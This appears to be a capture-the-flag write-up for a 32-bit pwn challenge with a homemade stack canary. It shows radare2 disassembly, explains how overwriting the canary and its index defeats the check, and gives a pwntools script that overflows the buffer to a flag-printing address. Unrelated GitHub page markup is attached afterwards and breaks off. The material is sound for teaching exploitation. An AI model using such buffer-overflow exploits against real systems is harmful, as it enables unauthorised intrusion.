[](ctf=tu-ctf-2018)[](type=pwn)[](tags=stack-canary)[](tools=radare2,gdb-peda,pwntools,python) # canary We are given a [binary](../canary) which accepts user input and has a custom stack canary implementation. ```assembly[0x0804860b]> pdf @sym.initCanary┌ (fcn) sym.initCanary 87│ sym.initCanary (void *s);│ ; arg void *s @ ebp+0x8│ ; CALL XREF from sym.doCanary (0x80486e9)│ 0x0804860b 55 push ebp│ 0x0804860c 89e5 mov ebp, esp│ 0x0804860e 6a28 push 0x28 ; '(' ; 40 ; size_t n│ 0x08048610 6a00 push 0 ; int c│ 0x08048612 ff7508 push dword [s] ; void *s│ 0x08048615 e8d6feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)│ 0x0804861a 83c40c add esp, 0xc│ 0x0804861d 8b4508 mov eax, dword [s] ; [0x8:4]=-1 ; 8│ 0x08048620 8d5028 lea edx, [eax + 0x28] ; '(' ; 40│ 0x08048623 a140a00408 mov eax, dword obj.devrand ; [0x804a040:4]=-1│ 0x08048628 6a04 push 4 ; 4 ; size_t nbyte│ 0x0804862a 52 push edx ; void *buf│ 0x0804862b 50 push eax ; int fildes│ 0x0804862c e81ffeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)│ 0x08048631 83c40c add esp, 0xc│ 0x08048634 8b156ca00408 mov edx, dword [obj.nextind] ; [0x804a06c:4]=0│ 0x0804863a 8b4508 mov eax, dword [s] ; [0x8:4]=-1 ; 8│ 0x0804863d 89502c mov dword [eax + 0x2c], edx│ 0x08048640 a16ca00408 mov eax, dword [obj.nextind] ; [0x804a06c:4]=0│ 0x08048645 8b5508 mov edx, dword [s] ; [0x8:4]=-1 ; 8│ 0x08048648 8b5228 mov edx, dword [edx + 0x28] ; [0x28:4]=-1 ; '(' ; 40│ 0x0804864b 891485a0a004. mov dword [eax*4 + obj.cans], edx ; [0x804a0a0:4]=0│ 0x08048652 a16ca00408 mov eax, dword [obj.nextind] ; [0x804a06c:4]=0│ 0x08048657 83c001 add eax, 1│ 0x0804865a a36ca00408 mov dword [obj.nextind], eax ; [0x804a06c:4]=0│ 0x0804865f 90 nop│ 0x08048660 c9 leave└ 0x08048661 c3 ret``` It reads 4 bytes from `/dev/urandom` and stores it infront of the buffer. It is also stores it in a global list of canaries. The buffer is followed by an index after the canary which is the corresponding index of the canary in the cananry list for that specific buffer. ```[...buffer...][canary][index]``` The custom stack smashing check can easily be bypassed by overflowing the buffer and overwriting the canary and index. ```assembly[0x0804860b]> pdf @sym.checkCanary┌ (fcn) sym.checkCanary 62│ sym.checkCanary (void *arg_8h);│ ; var unsigned int local_8h @ ebp-0x8│ ; var int local_4h @ ebp-0x4│ ; arg void *arg_8h @ ebp+0x8│ ; CALL XREF from sym.doCanary (0x8048707)│ 0x08048662 55 push ebp│ 0x08048663 89e5 mov ebp, esp│ 0x08048665 83ec08 sub esp, 8│ 0x08048668 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8│ 0x0804866b 8b4028 mov eax, dword [eax + 0x28] ; [0x28:4]=-1 ; '(' ; 40│ 0x0804866e 8945fc mov dword [local_4h], eax│ 0x08048671 8b4508 mov eax, dword [arg_8h] ; [0x8:4]=-1 ; 8│ 0x08048674 8b402c mov eax, dword [eax + 0x2c] ; [0x2c:4]=-1 ; ',' ; 44│ 0x08048677 8b0485a0a004. mov eax, dword [eax*4 + obj.cans] ; [0x804a0a0:4]=0│ 0x0804867e 8945f8 mov dword [local_8h], eax│ 0x08048681 8b45fc mov eax, dword [local_4h]│ 0x08048684 3b45f8 cmp eax, dword [local_8h]│ ┌─< 0x08048687 7414 je 0x804869d│ │ 0x08048689 6840880408 push str.HEY_NO_STACK_SMASHING ; 0x8048840 ; "---------------------- HEY NO STACK SMASHING! --------------------" ; const char *s│ │ 0x0804868e e8fdfdffff call sym.imp.puts ; int puts(const char *s)│ │ 0x08048693 83c404 add esp, 4│ │ 0x08048696 6a01 push 1 ; 1 ; int status│ │ 0x08048698 e813feffff call sym.imp.exit ; void exit(int status)│ │ ; CODE XREF from sym.checkCanary (0x8048687)│ └─> 0x0804869d 90 nop│ 0x0804869e c9 leave└ 0x0804869f c3 ret``` We can overwrite the saved return address and return to the set of instructions which print out the flag at `0x080486b7`. ```python from pwn import * context(arch='i386', os='linux')# p = process('./canary')p = remote('18.222.227.1', 12345) pass_addr = 0x080486b7 payload = ''payload += 'a' * 0x28payload += p32(0x0)payload += p32(0x1)payload += 'a' * 8payload += p32(pass_addr) p.sendline(payload)p.recvuntil("c'mon in\n")flag = p.recvuntil('\n').strip()log.success(flag)``` Flag> TUCTF{n3v3r_r0ll_y0ur_0wn_c4n4ry}
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Writeups/BCTF/2018 at master · nguyenduyhieukma/CTF-Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="82C9:68DA:20B9F0EB:21B6D3E2:6412257B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="4d92aa1469d5765130fa66546a9137eb76534db509963ec6fabb66dc1b6a6641" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MkM5OjY4REE6MjBCOUYwRUI6MjFCNkQzRTI6NjQxMjI1N0IiLCJ2aXNpdG9yX2lkIjoiNzMyOTkyMDQyMDMwMzQ4MDE4NyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="3cf610de11ec0783d8ff9e6f44122bd9938abfaee534ebe03ceff1d30bcbed11" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:119350190" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/4c68f1f0c78461d693c1f4f5926b3da70db84e2a4f897a02afb692bbf7482d61/nguyenduyhieukma/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/BCTF/2018 at master · nguyenduyhieukma/CTF-Writeups" /><meta name="twitter:description" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/4c68f1f0c78461d693c1f4f5926b3da70db84e2a4f897a02afb692bbf7482d61/nguyenduyhieukma/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/BCTF/2018 at master · nguyenduyhieukma/CTF-Writeups" /><meta property="og:url" content="https://github.com/nguyenduyhieukma/CTF-Writeups" /><meta property="og:description" content="Contribute to nguyenduyhieukma/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/nguyenduyhieukma/CTF-Writeups git https://github.com/nguyenduyhieukma/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="35905324" /><meta name="octolytics-dimension-user_login" content="nguyenduyhieukma" /><meta name="octolytics-dimension-repository_id" content="119350190" /><meta name="octolytics-dimension-repository_nwo" content="nguyenduyhieukma/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="119350190" /><meta name="octolytics-dimension-repository_network_root_nwo" content="nguyenduyhieukma/CTF-Writeups" /> <link rel="canonical" href="https://github.com/nguyenduyhieukma/CTF-Writeups/tree/master/BCTF/2018" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 